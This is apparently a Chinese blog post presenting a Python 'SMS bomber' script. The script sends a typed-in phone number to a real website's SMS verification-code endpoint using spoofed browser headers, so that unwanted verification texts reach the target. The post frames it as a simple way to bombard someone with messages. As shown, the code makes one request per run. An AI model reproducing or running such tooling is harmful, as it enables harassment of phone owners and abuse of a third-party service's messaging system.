Python之短信轰炸机 发表于 2019-02-12 | 分类于 Python3 短信轰炸的简单实现过程:利用网站短信验证码的短信发送,实现的短信消息提醒,简单的进行轰炸 12345678910111213141516171819202122232425262728293031323334from daili import information_sunimport reimport jsonimport requestsimport time#短信的内容信息class SMSsend(object): def __init__(self,mobile): self.url="https://login.ceconline.com/thirdPartLogin.do" self.headers={ 'Referer': 'https://login.ceconline.com/login.do', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' } self.mobile=mobile def get_response(self): time_now=int(time.time()*1000) data={ "mobileNumber":self.mobile, "method":"getDynamicCode", "verifyType":"MOBILE_NUM_REG", "captcharType":"", "time":str(time_now) } try: html=requests.post(self.url,headers=self.headers,data=data) print("发送成功") except: print("发送失败")modal=input("请输入手机号:")sms=SMSsend(modal)sms.get_response()